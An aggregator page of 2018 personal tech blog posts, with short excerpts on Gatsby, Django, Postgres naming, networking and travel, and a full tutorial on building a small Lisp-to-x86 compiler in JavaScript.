Hacker News Personal Blogs 2018 | Top 100 Blogs

Turning the Static Dynamic with Gatsby + Netlify Functions + Netlify Identity

swyx's site RSS Feed — Wed, 26 Dec 2018 02:00:00 GMT

Gatsby is great for not only static sites but also traditional web applications. You can add authentication and serverless functionality and get up and running incredibly quickly with Netlify - here's how.

Nethack Deaths

infrequent oscillations — Sun, 23 Dec 2018 11:48:44 GMT

In which we clean up a messy data set to make more sense of it.

Running latest kernels on ARM Scaleway servers

Linux Engineer's random thoughts — Fri, 21 Dec 2018 01:00:00 GMT

Scaleway, a french cloud provider, has been renting baremetal ARM servers for a few years now, and virtual ARM64 servers more recently. They ship with a scaleway-provided kernel and initird, which isn't updated as often as I'd like. The latest ARMv7 (32 bits) kernel, is 4.9.93, while the …

New Zealand Otago Trip in a 2019 Mustang GT

smcleod.net — Thu, 20 Dec 2018 02:00:00 GMT

In late November of 2018 I was lucky enough to get my hands on the upcoming 2019 Sport spec Mustang GT v8 to be its first driver.

I’m not usually an American Muscle enthusiast, but the new 2019 GT really is quite different from its slightly older counterparts, with a new specially developed 10 speed gearbox (yes, 10 gears - because more is better right?), tuned up suspension and so seemed like it would make for a pretty fun trip.

Perfect Advent Calendars

infrequent oscillations — Tue, 18 Dec 2018 07:56:32 GMT

In which we make things symmetrical by brute force.

Interesting queries on a football database

infrequent oscillations — Mon, 17 Dec 2018 15:53:00 GMT

In which we query a football database for facts and fun.

XCat 1.0 released or: XPath injection issues are severely underrated

Tom Forbes — Sun, 09 Dec 2018 21:58:01 GMT

I’ve just released xcat 1.0 and it’s demonstration application after like 5 years of on-off development. Feels good! The genesis of xcat was when my boss, Sid, walked up to me out of the blue and asked if I wanted to go on an all expenses paid trip to Amsterdam. Who the hell wouldn’t say yes to that...

Bitlbee to Pleroma

infrequent oscillations — Wed, 05 Dec 2018 17:50:36 GMT

In which we talk to Pleroma through Bitlbee.

Invited to join the Django software foundation

Tom Forbes — Sun, 02 Dec 2018 21:58:01 GMT

A few days ago I was invited to become a member of the Django software foundation due to my contributions to Django. Awesome! Now I get to hang about in the super-secret mailing list and discuss django-related illuminati business. Removal of core developers The hot news in Django-land is the proposa...

Expert Excuses for Not Writing Unit Tests

Ben E. C. Boyter — Tue, 27 Nov 2018 02:00:00 GMT

A while back I collected all of the fake Orly book covers I could find an posted them online https://boyter.org/2016/04/collection-orly-book-covers/

I also mentioned that I was seriously considering writing content for the “Expert Excuses for Not Writing Unit Tests” one. I think I had this idea at the time that it was something I could potentially sell or use to raise my profile. Since I am not a comedy writer there is a market of about 0 people in the universe who would pay for content like this. I have no idea what I was thinking.

How to get Google Home / Google Assistant to call your iOS iPhone

Subclassed — Mon, 26 Nov 2018 16:41:57 GMT

If you have an iPhone, Google Assistant and Google Home won't be able to call or ring your phone out of the box, since it's an Android-only feature. If you are not in the US, you cannot even use the workaround of calling your number. So what can you do, if you tend to misplace your phone around the house ? (ahem)

Get an account on IFTTT
Install the IFTTT app on your phone
create a new applet, click on "this" and select Google Assistant
select "say a simple phrase" and enter the details you prefer (e.g. "make a noise on my phone" or "ping my phone". Note the most common "ring my phone" or "where is my phone" are reserved by Google and won't work).
click on "then" and select VoIP Calls
enter a message the phone will tell you if you pick up (e.g. "Glad you found me!")
Save the applet.

Now, when you say that phrase to Google Home / Goole Assistant, it will ring your phone, so you can dig it out of the sofa or the Lego box (ahem).

Networking Essentials: Network Security

swyx's site RSS Feed — Sun, 25 Nov 2018 03:43:21 GMT

What is Traffic Engineering?

Types of Development

Ben E. C. Boyter — Sun, 25 Nov 2018 02:00:00 GMT

Types of Development #1

Rage driven development

Where an existing application/process causes one to rage so hard you spend the next 6 weeks over-engineering a solution to solve a simple problem. Example Perl.

Types of Development #2

Test driven development

Where previous projects and death marches result in a violent reaction of over-correcting for past failures and everything must be tested dammit. Example includes any project where the goal is 100% test coverage.

Breaking the Ice for Underwater Hockey

Svedic.org — Thu, 22 Nov 2018 11:11:08 GMT

“This is for you kid,” said my uncle, “have fun!” I was 12 and I got my first mask and fins. I loved it. I would go every day to the seaside, to the rocky pier, and dive next to … Continue reading →

Writing a lisp compiler from scratch in JavaScript: 1. lisp to assembly

Notes on software development — Tue, 20 Nov 2018 02:00:00 GMT

Next in compiler basics: <! forgive me, for I have sinned >
2. user-defined functions and variables
3. LLVM
4. LLVM conditionals and compiling fibonacci
5. LLVM system calls
6. an x86 upgrade

In this post we'll write a simple compiler in Javascript (on Node) without any third-party libraries. Our goal is to take an input program like (+ 1 (+ 2 3)) and produce an output assembly program that does these operations to produce 6 as the exit code. The resulting compiler can be found here.

We'll cover:

Parsing
Code generation
Assembly basics
Syscalls

And for now we'll omit:

Programmable function definitions
Non-symbol/-numeric data types
More than 3 function arguments
Lots of safety
Lots of error messsages

Parsing

We pick the S-expression syntax mentioned earlier because it's very easy to parse. Furthermore, our input language is so limited that we won't even break our parser into separate lexing/parsing stages.

Once you need to support string literals, comments, decimal literals, and other more complex literals it becomes easier to use separate stages.

If you're curious about these separate stages of parsing, you may be interested in my post on writing a JSON parser.

Or, check out my BSDScheme project for a fully-featured lexer and parser for Scheme.

The parser should produce an Abstract Syntax Tree (AST), a data structure representing the input program. Specifically, we want (+ 1 (+ 2 3)) to produce ['+', 1, ['+', 2, 3]] in Javascript.

There are many different ways to go about parsing but the most intuitive to me is to have a function that accepts a program (a string) and returns a tuple containing the program parsed so far (an AST) and the rest of the program (a string) that hasn't been parsed.

That leaves us with a function skeleton that looks like this:

module.exports.parse = function parse(program) {
  const tokens = [];

  ... logic to be added ...

  return [tokens, ''];
};

The code that initially calls parse will thus have to deal with unwrapping the outermost tuple to get to the AST. For a more helpful compiler we could check that the entire program was actually parsed by failing if the second element of the return result is not the empty string.

Within the function we will iterate over each character and accumulate until we hit space, left or right parenthesis:

module.exports.parse = function parse(program) {
  const tokens = [];
  let currentToken = '';

  for (let i = 0; i < program.length; i++) {
    const char = program.charAt(i);

    switch (char) {
      case '(': // TODO
        break;
      case ')': // TODO
        break;
      case ' ':
        tokens.push(+currentToken || currentToken);
        currentToken = '';
        break;
      default:
        currentToken += char;
        break;
    }
  }

  return [tokens, ''];
};

The recursive parts are always the most challenging. The right paren is easiest. We must push the current token and return all tokens with the rest of the program:

module.exports.parse = function parse(program) {
  const tokens = [];
  let currentToken = '';

  for (let i = 0; i < program.length; i++) {
    const char = program.charAt(i);

    switch (char) {
      case '(': // TODO
        break;
      case ')':
        tokens.push(+currentToken || currentToken);
        return [tokens, program.substring(i + 1)];
      case ' ':
        tokens.push(+currentToken || currentToken);
        currentToken = '';
        break;
      default:
        currentToken += char;
        break;
    }
  }

  return [tokens, ''];
};

Finally the left paren should recurse, add the parsed tokens to the list of sibling tokens, and force the loop to start at the new unparsed point.

module.exports.parse = function parse(program) {
  const tokens = [];
  let currentToken = '';

  for (let i = 0; i < program.length; i++) {
    const char = program.charAt(i);

    switch (char) {
      case '(': {
        const [parsed, rest] = parse(program.substring(i + 1));
        tokens.push(parsed);
        program = rest;
        i = 0;
        break;
      }
      case ')':
        tokens.push(+currentToken || currentToken);
        return [tokens, program.substring(i + 1)];
      case ' ':
        tokens.push(+currentToken || currentToken);
        currentToken = '';
        break;
      default:
        currentToken += char;
        break;
    }
  }

  return [tokens, ''];
};

Assuming this is all in parser.js, let's try it out in the REPL:

$ node
> const { parse } = require('./parser');
undefined
> console.log(JSON.stringify(parse('(+ 3 (+ 1 2)')));
[[["+",3,["+",1,2]]],""]

Solid. We move on.

Assembly 101

Assembly is essentially the lowest-level programming language we can use. It is a human readable, 1:1 representation of the binary instructions the CPU can interpret. Conversion from assembly to binary is done with an assembler; the reverse step is done with a disassembler. We'll use gcc for assembling since it deals with some oddities of assembly programming on macOS.

The primary data structures in assembly are registers (temporary variables stored by the CPU) and the program stack. Every function in a program has access to the same registers, but convention cordons off sections of the stack for each function so it ends up being a slightly more durable store than registers. RAX, RDI, RDX, and RSI are a few registers available to us.

Now we only need to know a few instructions to compile our program (the rest of programming assembly is convention):

MOV: store one register's content into another, or store a literal number into a register
ADD: store the sum of two register's contents in the first register
PUSH: store a register's content on the stack
POP: remove the top-most value from the stack and store in a register
CALL: enter a new section of the stack and start running the function
RET: enter the calling functions stack and return to evaluating from the next instruction after the call
SYSCALL: like CALL but where the function is handled by the kernel

Function calling convention

Assembly instructions are flexible enough that there is no language-defined way to make function calls. Therefore it is important to answer (at least) the following few questions:

Where are parameters stored by the caller so that the callee has access to them?
Where is the return value stored by the callee so the caller has access to it?
What registers are saved by whom?

Without getting too far into the specifics, we'll assume the following answers for development on x86_64 macOS and Linux systems:

Parameters are stored (in order) in the RDI, RSI, and RDX registers
- We won't support passing more than three arguments
The return value is stored in the RAX register
RDI, RSI, and RDX registers are stored by the caller

Code generation

With assembly basics and the function call convention in mind, we've got enough to generate code from the parsed program's AST.

The skeleton of our compile code will look like this:

function emit(depth, code) {
  const indent = new Array(depth + 1).map(() => '').join('  ');
  console.log(indent + code);
}

function compile_argument(arg, destination) {
  // If arg AST is a list, call compile_call on it

  // Else must be a literal number, store in destination register
}

function compile_call(fun, args, destination) {
  // Save param registers to the stack

  // Compile arguments and store in param registers

  // Call function

  // Restore param registers from the stack

  // Move result into destination if provided
}

function emit_prefix() {
  // Assembly prefix
}

function emit_postfix() {
  // Assembly postfix
}

module.exports.compile = function parse(ast) {
  emit_prefix();
  compile_call(ast[0], ast.slice(1));
  emit_postfix();
};

From our pseudo-code in comments it is simple enough to fill in. Let's fill in everything but the prefix and postfix code.

function compile_argument(arg, destination) {
  // If arg AST is a list, call compile_call on it
  if (Array.isArray(arg)) {
    compile_call(arg[0], arg.slice(1), destination);
    return;
  }

  // Else must be a literal number, store in destination register
  emit(1, `MOV ${destination}, ${arg}`);
}

const BUILTIN_FUNCTIONS = { '+': 'plus' };
const PARAM_REGISTERS = ['RDI', 'RSI', 'RDX'];

function compile_call(fun, args, destination) {
  // Save param registers to the stack
  args.forEach((_, i) => emit(1, `PUSH ${PARAM_REGISTERS[i]}`));

  // Compile arguments and store in param registers
  args.forEach((arg, i) => compile_argument(arg, PARAM_REGISTERS[i]));

  // Call function
  emit(1, `CALL ${BUILTIN_FUNCTIONS[fun] || fun}`);

  // Restore param registers from the stack
  args.forEach((_, i) => emit(1, `POP ${PARAM_REGISTERS[args.length - i - 1]}`));

  // Move result into destination if provided
  if (destination) {
    emit(1, `MOV ${destination}, RAX`);
  }

  emit(0, ''); // For nice formatting
}

In a better compiler, we would not make plus a built-in function. We'd emit code for the assembly instruction ADD. However, making plus a function makes code generation simpler and also allows us to see what function calls look like.

We'll define the plus built-in function in the prefix code.

The prefix

Assembly programs consist of a few "sections" in memory. The most important of which are the text and data sections. text is a read-only section where the program instructions themselves are stored. The CPU is instructed to start interpreting from some location in this text section and it will increment through instructions, evaluating each instruction until it reaches an instruction that tells it to jump to a different location to evaluate instructions (e.g. with CALL, RET, or JMP).

To denote the text section we emit .text in our prefix before we emit our generated code.

The data section is for statically initialized values (e.g. global variables). We don't have any need for that right now so we'll ignore it.

Here is a good read with more detail on these (and other) sections.

Additionally, we need to emit an entrypoint (we'll use _main) and add a notice (.global _main) so that the location of this entrypoint is visible externally. This is important because we let gcc handle the hairier parts of generating an executable file and it needs access to the entrypoint.

So far, our prefix looks like this:

function emit_prefix() {
  emit(1, '.global _main\n');

  emit(1, '.text\n');

  // TODO: add built-in functions

  emit(0, '_main:');
}

The last part of our prefix needs to include the plus built-in function. For this, we add the first two parameter registers we agreed on (RDI and RSI) and store the result in RAX.

function emit_prefix() {
  emit(1, '.global _main\n');

  emit(1, '.text\n');

  emit(0, 'plus:');
  emit(1, 'ADD RDI, RSI');
  emit(1, 'MOV RAX, RDI');
  emit(1, 'RET\n');

  emit(0, '_main:');
}

And we're golden.

The postfix

The job of the postfix will be simple, call exit with the value of RAX since this will be the result of the last function called by the program.

exit is a syscall, so we'll use the SYSCALL instruction to call it. The x86_64 calling convention on macOS and Linux for SYSCALL defines parameters the same way CALL does. But we also need to tell SYSCALL what syscall to call. The convention is to set RAX to the integer representing the syscall on the current system. On Linux it will be 60; on macOS it is 0x2000001.

When I say "convention", I don't mean that you really have a choice as a programmer. It was arbitrary when the operating system and standard libraries chose it. But if you want to write a working program that uses syscalls or calls out to (say) glibc, you'll need to follow these conventions.

The postfix then looks like this:

const os = require('os');

const SYSCALL_MAP = os.platform() === 'darwin' ? {
    'exit': '0x2000001',
} : {
    'exit': 60,
};

function emit_postfix() {
  emit(1, 'MOV RDI, RAX'); // Set exit arg
  emit(1, `MOV RAX, ${SYSCALL_MAP['exit']}`); // Set syscall number
  emit(1, 'SYSCALL');
}

And we're set here too.

Putting it all together

We can finally write our Javascript entrypoint and run our compiler against a sample program.

The entrypoint might look like this:

const { parse } = require('./parser');
const { compile } = require('./compiler');

function main(args) {
  const script = args[2];
  const [ast] = parse(script);
  compile(ast[0]);
}

main(process.argv);

And we can call it like so:

$ node ulisp.js '(+ 3 (+ 2 1))'
  .global _main

  .text

plus:
  ADD RDI, RSI
  MOV RAX, RDI
  RET

_main:
  PUSH RDI
  PUSH RSI
  MOV RDI, 3
  PUSH RDI
  PUSH RSI
  MOV RDI, 2
  MOV RSI, 1
  CALL plus
  POP RSI
  POP RDI
  MOV RSI, RAX

  CALL plus
  POP RSI
  POP RDI

  MOV RDI, RAX
  MOV RAX, 0x2000001
  SYSCALL

Generating an executable file from the output

If we redirect the previous output to an assembly file and call gcc on it, we can generate a program we can run. Then we can echo the $? variable to see the exit code of the previous process.

$ node ulisp.js '(+ 3 (+ 2 1))' > program.S
$ gcc -mstackrealign -masm=intel -o program program.s
$ ./program
$ echo $?
6

And we've got a working compiler! The full source of the compiler is available here.

Networking Essentials: Traffic Engineering

swyx's site RSS Feed — Sun, 18 Nov 2018 00:57:56 GMT

What is Traffic Engineering?

Networking Essentials: Software Defined Networking

swyx's site RSS Feed — Sun, 04 Nov 2018 23:11:45 GMT

Why Software Defined Networking is taking the networking world by storm

My New Mac Setup (2018-2020)

swyx's site RSS Feed — Wed, 31 Oct 2018 18:53:20 GMT

quick checklist for setting up a new macbook

The biggest mistake Postgres ever made

CRAIG KERSTIENS — Tue, 30 Oct 2018 22:55:56 GMT

Postgres has experienced a long and great run. It is over 20 years old and has a track record of being safe and reliable (which is the top thing I care about in a database). In recent years it has become more cool with things like JSONB, JIT support, and a powerful extension ecosystem. But, Postgres has made some mistakes along the way, the most notable being the name.

Postgres gets its name from Ingress. Ingress was one of the first databases and was lead by Michael Stonebreaker who won a Turing award for Postgres and other works. Ingress began in the early 70s at UC Berkeley, which is still to this day known as a top university when it comes to databases. Out of Ingress came a number of databases you’ll still know today such as SQL Server and Sybase. It also as you may have guessed by now spawned Postgres which means Post-Ingress.

In the early days of Postgres there was no SQL. No not NoSQL, there was not SQL. Postgres had its own query language. It wasn’t until 1995 that Postgres received SQL support, and with its addition of SQL support it updated its name to PostgreSQL.

You see, with Postgres becoming PostgreSQL we began a journey of Postgres being mispronounced for its forseeable future and it is still currently the case. Is it really that big of an issue? Well it’s big enough that the PostgreSQL website has a FAQ including “How to pronounce PostgreSQL”. As it stands today there are two generally accepted names:

post-GRES-que-ell
Postgres

With one of the above there is far less confusion. And in fact I’m not the only one to share this opinion. Tom Lane is a major contributor to every Postgres release for more than the last decade. He’s one of the top 10 contributors to open source in general having worked on the JPEG/PNG/TIFF image formats before coming over to database land. Tom has this classic email in the PostgreSQL mailing list:

 [>> Can i get data in postgre from non-postgre db?
> The name is PostgreSQL or Postgres, not postgre.
It might help to explain that the pronunciation is "post-gres" or
"post-gres-cue-ell", not "post-gray-something".
I heard people making this same mistake in presentations at this
past weekend's Postgres Anniversary Conference :-( Arguably,
the 1996 decision to call it PostgreSQL instead of reverting to
plain Postgres was the single worst mistake this project ever made.
It seems far too late to change now, though.
regards, tom lane

The best part is this was mail was 2006, when it was arguably too late to change the name, and here we are in 2018 with the same issue.

Personally I may start calling it Postgre just to emphasize a point, but for the rest of you just going with Postgres is probably a safe choice.

If you’re looking for a deeper resource on Postgres I recommend the book The Art of PostgreSQL. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you’ll receive 15% off as well.

Networking Essentials: Content Distribution

swyx's site RSS Feed — Mon, 29 Oct 2018 06:46:33 GMT

How CDNs, BitTorrent and Distributed Hash tables work

Networking Essentials: Rate Limiting and Traffic Shaping

swyx's site RSS Feed — Sun, 28 Oct 2018 23:19:10 GMT

How Computer Networks shape, police, measure, and limit the traffic that flow across them.

Generating Harry Potter Spell Names and Kelewan House Names

Ben E. C. Boyter — Sun, 28 Oct 2018 03:00:00 GMT

Occasionally I try to branch out from working on https://searchcode.com/ https://searchcodeserver.com/ or https://github.com/boyter/scc and find something that I find interesting to toy around with. Usually I go for something that will only take a few hours to play around with.

I had recently re-read a book series I remember loving a while ago which is the Empire Trilogy of books by Feist and Wurts https://en.wikipedia.org/wiki/Empire_Trilogy One of the things that stuck out to me as I was reading was that the names seemed to be a blend of Korean/Japanese/Chinese/Aztec and seems to follow a standard structure.

GraphQL Interfaces vs Unions

Dan Palmer — Sun, 28 Oct 2018 02:00:00 GMT

GraphQL’s type system allows us to make many invalid states impossible to represent, which improves the usability and reliability of our APIs. Two features of the type system that contribute significantly to this are Interfaces and Unions, however they can be used to address similar design considerations so it’s not always obvious which is the right option. In this post we’ll look at several examples from the Thread API, and explore whether using an interface or a union is the right option.

On NYC, Tokyo and Seoul

Notes on software development — Sat, 20 Oct 2018 03:00:00 GMT

I’ve lived in NYC for the past year — moved here after years in Philly and after growing up in a rural community a few hours west of there. My wife is South Korean and last week concluded my second trip to the suburbs of Seoul to visit her family. We finished up that trip with a week in Tokyo.

Long a mecha and Godzilla fan, I was struck by a city not significantly more modern, or significantly more “Eastern”, than NYC. In contrast, the lesser known Seoul is more modern than both cities and shares as much “Eastern” vibe as Tokyo.

I’d go so far as to say that Seoul is the most livable of the three for anyone of a similar background. There are a few concrete areas that led me to this including transportation, apartments, WiFi/cafes, food, and language.

I'll conclude with a few tourist recommendations and a list of books to read on South Korea and Japan if you share my enthusiasm for comparing life in different cities.

Transportation

NYC is one of the few cities in the world with a subway that runs 24/7. Tokyo and Seoul do not share this trait despite being many decades newer. (Tokyo and Seoul were heavily damaged during World War II and the Korean War, respectively.) And despite being built later, Tokyo subway cars are even less wide than NYC subway cars (~8.2ft vs. ~8.5ft).

In contrast, Seoul subway cars are ~10.2ft wide. The difference may seem slight but it is noticeable during rush hour when in Seoul there is space for four people to stand in the aisle versus room for perhaps two in a Tokyo or NYC subway car.

Seoul subway car, source: Travel Blog

The Seoul subway system is also the most advanced in terms of safety. All stations have a floor-to-ceiling barrier with doors that only open when a train arrives. Most stations in Tokyo have a ~3ft tall barrier that does the same, though some stations have no barrier. In NYC there are no barriers anywhere.

Concerning innovation, Seoul and Tokyo both have multiple driverless subway lines whereas NYC has none. But in terms of complexity the NYC subway is the simplest because you pay only once. Seoul and Tokyo subways are slightly more complex in that you swipe your card when you enter and exit (or transfer).

Taxis

It was jarring to be greeted by the very 90s, vaguely British Toyota Crown taxi cabs that dominate the streets of Tokyo.

Source: Phil Eaton

These cabs have no integrated navigation unit but a modern unit was typically mechanically attached. We saw a few of the recently approved Toyota JPN Taxi, but they only account for around 10 percent of cabs. (The integrated navigation is massive, perhaps 10-inch screens.) In contrast, Seoul has a variety of modern cabs all with integrated navigation — the most common of which is the Hyundai Sonata.

Source: The Seoul Guide

Although Japanese car companies pioneered integrated navigation in the 90s, it appears to have been the standard for South Korean car companies for the past 10-20 years.

And then there’s NYC with its primary mix of Crown Victorias and Priuses with multiple 4-inch smartphones mechanically attached for navigation.

Source: New York Post

Living

South Korea has no concept of the suburb oriented around single-family houses. Drive an hour or two out from Seoul or Busan and see the same massive, modern apartment complexes that are found in the city center. After that it's the stark farms of Kansas. Japan appears more like the US in that the city graduates steadily to suburb and farm.

Apartments in Seoul, source: Japan Times

In general, buildings in South Korea are fairly homogeneous. Even the downtown areas of Seoul have little architectural creativity. Tokyo and NYC are both diverse in building styles and sizes. However, NYC takes the cake for ubiquity of massive towers. In fact, the first time my South Korean father-in-law visited Manhattan he was blown away by this mass.

New York City, source: Wikipedia

The most popular neighborhoods in Tokyo seem more developed than their Seoul counterparts, the mass of stores and crowds extends further. And while the average age of buildings in Tokyo seems younger than the average age of buildings throughout Seoul (including less desirable areas), the developed areas (including buildings and streets) of Seoul are significantly cleaner and more modern. In contrast, and on average, Tokyo buildings seem as old as NYC buildings.

Tokyo, source: Fodors

Air quality

Air quality in NYC and Tokyo is high, pollution is low. But in recent times, air quality in Seoul has deteriorated with dangerous levels of fine dust from factories in South Korea and China. It is not clear when or how the South Korean government will address this.

WiFi/Cafes

My idea of a good cafe is a decent ratio of seats to traffic, available electrical outlets, and decent WiFi. NYC and Tokyo have some similarities: chain coffee shops are larger and non-chains are often pretty small. Tokyo differs from NYC in that there are few electrical outlets and in the existence of interior smoking sections. (Tokyo bans smoking while walking but designates areas like parks or inner rooms in restaurants or cafes.)

But the WiFi in Tokyo is abysmal. Many cafes do not have it (though the trend is to provide) and even the chains that do provide it have terrible speeds reaching peaks of 5Mbps down. In NYC WiFi is available near ~20Mbps down at most chains and ~5Mpbs at smaller non-chains.

In contrast, South Korea is the jewel of cafe culture. Unlike how in the US coffee shop size decreases as population increases, coffee shop sizes in South Korea are oddly enormous everywhere. South Korea is rich with local shops, domestic chains (including the exported Paris Baguette and Tous Les Jours), and foreign chains (South Korea has the highest number of Starbucks Reserve stores per capita of any country).

Starbucks Reserve in Seoul, source: Pulse News

From Jeju Island to Seoul we never worried about a seat or an outlet at a cafe. Furthermore, the WiFi in South Korea is incredible. My tech-hopeless in-law’s basic internet plan got 80Mbps down and the small cafes near their apartment got at least 40Mbps down.

NYC falls closer to Seoul in terms of ubiquity and speed of WiFi and has the added benefit of fast city-provided, outdoor WiFi surprisingly fast and available throughout the city. NYC is much worse in terms of daylight. Most cafes close between 8-10pm whereas cafes in Seoul and Tokyo easily stay open past 11pm.

Caveat

It’s not exactly fair to exclude internet cafes, prevalent in both Seoul and Tokyo (oddly even NYC has a few). At an internet cafe in Tokyo you can expect abundant outlets and excellent WiFi (I saw peaks of 40Mbps down). I did not visit an internet cafe in Seoul but I expect it to be similar. In both Seoul and Tokyo you can easily find 24/7 service (with showers!?).

I did not include internet cafes above because I find them slightly less convenient for tourists. Though credit is due: unlike American Chinatown internet cafes, the ones we visited in Tokyo were very clean, spacious and warm.

Internet cafe in Shinjuku, source: Rakutama

Food

Dining out in NYC is similar in cost to other major US cities. The quality is usually pretty good. Tokyo was about as expensive as food in NYC and generally as high quality. For instance, most dinners in NYC and Tokyo cost about $40-60 for two people. In contrast, most entrees in Seoul are sold for two and the dinner in total was often about $20-40. Restaurants on average seemed to be lower quality in Seoul compared to Tokyo and New York, but there are still more than enough high quality options.

Language

I am biased having a better knowledge of Korean than Japanese and a South Korean partner to fall back on. But I believe South Korea is the more friendly place for an English speaker in that it is more dedicated to providing English translations and that the written language is simpler. In both cities the penetration of English-speaking natives (and quality of speech and comprehension) is indistinguishable and decent.

To the first point, even the oddest locations and obscure signage had English translations in South Korea (not just Seoul) — not so even within Tokyo.

To the second point, Japanese has three writing systems (kanji, hiragana, and katakana). Kanji (characters originating from Chinese) cannot be replaced in writing by phonetic counterparts in hiragana or katakana. So you have little choice but to memorize all important characters, disregarding the fact that many characters can be broken down. Then you must also memorize the alphabetic systems of hiragana and katakana.

In contrast, Korean has two writing systems (hangul and hanja) where hanja (characters originating from Chinese) is primarily used in formal settings (government forms, academic books, etc.) and can be replaced with the phonetic equivalent in hangul.

This makes it much simpler to memorize and read Korean compared to Japanese.

Assorted recommendations

For New Yorkers, don’t stay in the recommended areas of Shinjuku/Shibuya/Roppongi unless you’re the type who’d enjoy staying around Times Square. These three areas of Tokyo are just as obnoxious albeit much safer. I also don’t recommend the Harajuku area; it is extra. There’s no real equivalent level of crazy in Seoul although Hongdae comes close.

In a future Tokyo trip I’d stick to the Meguro Station area including Ebisu and Daikanyama. They are beautiful, quiet neighborhoods with lots of restaurants and cafes beside the Meguro river. Areas along the Sumida River are also beautiful and quiet. Ginza/Tokyo Station is also a fun-but-not-obnoxious area to visit.

Ebisu, source: Homeaway

I cannot recommend the Edo-Tokyo Museum enough, it is the best city museum I've visited. Tsukiji is also a must see, reminding me how much I miss going to Reading Terminal Market each weekend in Philly.

In Seoul I’d recommend Yeonnam-Dong, Itaewon (which is much nicer than it’s made out to be), and Gwanghwamun. Mapo-Gu in general is a great region of Gangbuk as is the area below it (near Yeouido) in Gangnam.

Yeonnam-Dong, source: Phil Eaton

I recommend visiting the National Museum of Korea in Seoul as well as Hangang Park and Gyeongui Line Forest Park. The areas around the Tancheon stream flowing South to Bundang are also beautiful.

Tancheon near Bundang, source: Misadventures of an Awkward American

Conclusion

I came to Tokyo with the expectation of a highly modern city fused with Eastern culture. But it is difficult to see many ways it is ahead of NYC technically and it is very similar to NYC culturally. In some ways Tokyo even seems a little stuck in the past or just... off. Why are all vending machines [e.g. for tickets, ordering food, etc.] mechanical and not touch screens? The National Museum of Science is awfully old and ugly, the National Diet Building the same.

So on the one hand I’d like to let the next person down lightly on the excitement of Japan. It is a world-class city with great restaurants, live music and refined culture but all-in-all very similar to NYC. On the other hand I recommend Seoul for a cheaper, cleaner, more English-speaker friendly, and genuinely novel city with splashes of "Eastern" romantic elements like Tokyo.

Cherry blossoms in Seoul, source: English Spectrum

3 Tips from Kent C Dodds for People Just Getting Started

swyx's site RSS Feed — Tue, 16 Oct 2018 02:54:50 GMT

advice for beginners from a podcast

SIGSEGV1 qualification CTF

Linux Engineer's random thoughts — Fri, 12 Oct 2018 01:00:00 GMT

After my r2con r2wars writeup, here's another writeup of a "challenge". This challenge is the Capture-The-Flag (CTF) pre-qualifications for the SIGSEGV1 conference in Paris. It felt a bit weird to have a conference registration limited to those who pass a certain challenge, but I was curious about what it would …

Networking Essentials: Congestion Control

swyx's site RSS Feed — Sun, 07 Oct 2018 05:52:44 GMT

Bottlenecks inevitably arise in networks. How do we deal with them in TCP? How about in practical streaming applications like Youtube and Skype?

Using bulk update in Django 2.2

Tom Forbes — Thu, 04 Oct 2018 21:36:02 GMT

My work on adding bulk_update() to Django has been merged and will be released in Django 2.2! Like my filtered aggregates feature it relies heavily on the wonderfully versatile CASE statement to achieve some pretty good speedups for certain use-cases. The development documentation gives a pretty cle...

how to load initial data and test data in Django 2+

Subclassed — Thu, 04 Oct 2018 15:42:41 GMT

There are two ways to automatically load data in Django:

for data you need while running tests, place xml/json/yaml files in yourapp/fixtures.
for data you need while setting up the database from scratch, or at specific points in time, you must create a Migration

This is a bit annoying, because chances are these locations will get out of sync sooner or later, and it duplicates effort if you do reproducible builds, docker, and stuff like that.

The solution is to create a migration that actually loads fixtures. So:

Create your fixtures: manage.py dumpdata --output yourapp/fixtures/yourmodel.json yourapp.YourModel
Create an empty Migration: manage.py makemigrations --empty yourapp

Edit the resulting migration (the last file created under yourapp/migrations, making it look like this:

from django.db import migrations

def load_fixtures(apps, schema_editor):
    # This is what will be executed by the migration
    from django.core.management import call_command
    # this is the equivalent of running manage.py loaddata yourmodel.json
    for fixture_name in ['yourmodel']: # add any additional model here
        call_command("loaddata", fixture_name)
    # add other calls if you have multiple models

def rollback(apps, schema_editor):
    # This will be executed if you rollback the migration, so you want to clean up
    for model_name in ["YourModel"]:  # add any additional model here
        model = apps.get_model("yourapp", model_name)
        model.objects.all().delete()

class Migration(migrations.Migration):
    dependencies = [
      # ... don't touch anything here ...
    ]

    operations = [
        migrations.RunPython(load_fixtures, rollback),
    ]
# -*- coding: utf-8 -*-

Profit

Note that this does not remove the option to have data that is available only in certain situation: just don't list the fixtures you don't want in the migration, and vice-versa.

Fix Missing Headers Compiling on macOS Mojave

Donat Studios — Wed, 03 Oct 2018 00:22:40 GMT

Update It would appear that the latest version of Xcode has removed the macOS_SDK_headers_for_macOS_10.14.pkg file. I am currently searching for alternative solutions.

While trying to compile PHP extensions after installing macOS Mojave, I was butting up against a ton of missing header file errors including php.h and zlib.

After several hours of beating my head against my desk and Googling/Stack Overflowing I found the solution.

Ends up you just need to force re-install the header files. Special thanks to @sfdye for the solution!

$ sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target /

If you get an error about that file not existing, you probably simply don't have the Xcode command line tools installed which can be remedied simply as follows:

$ xcode-select --install

Blogtober 2018, the second

infrequent oscillations — Tue, 02 Oct 2018 21:44:19 GMT

In which we fail dismally at all the 'obers.

Blogtober 2018, the first

infrequent oscillations — Mon, 01 Oct 2018 22:31:06 GMT

In which we try to follow some 'obers.

Trifecta of Obers

infrequent oscillations — Sun, 30 Sep 2018 20:01:54 GMT

In which we make plans we fail to keep.

Solving My Email Problem - Followup

Beetle Space — Sat, 29 Sep 2018 10:00:00 GMT

My last post got quite a few comments on Hacker News. They did force me to think a little, and here I’ll gather some of my thoughts.

“I have an email workflow that is different from yours”

If you’re happy with your email setup, I am by no …

Solving My Email Problem

Beetle Space — Fri, 28 Sep 2018 10:00:00 GMT

Email is not a messaging protocol. It’s a TODO list. Or at least my inbox is a TODO list and email is the protocol for putting stuff on it. Here’s the problem. It is a s**tty TODO list. Any one of you can put something on my …

Networking Essentials: DNS

swyx's site RSS Feed — Wed, 26 Sep 2018 07:12:12 GMT

Domain names, you buy them, you sell them, but how do they work?

Networking Essentials: Router Design

swyx's site RSS Feed — Wed, 26 Sep 2018 06:33:05 GMT

A small detour into Router Hardware!

Why (and how) to read books

Notes on software development — Wed, 26 Sep 2018 03:00:00 GMT

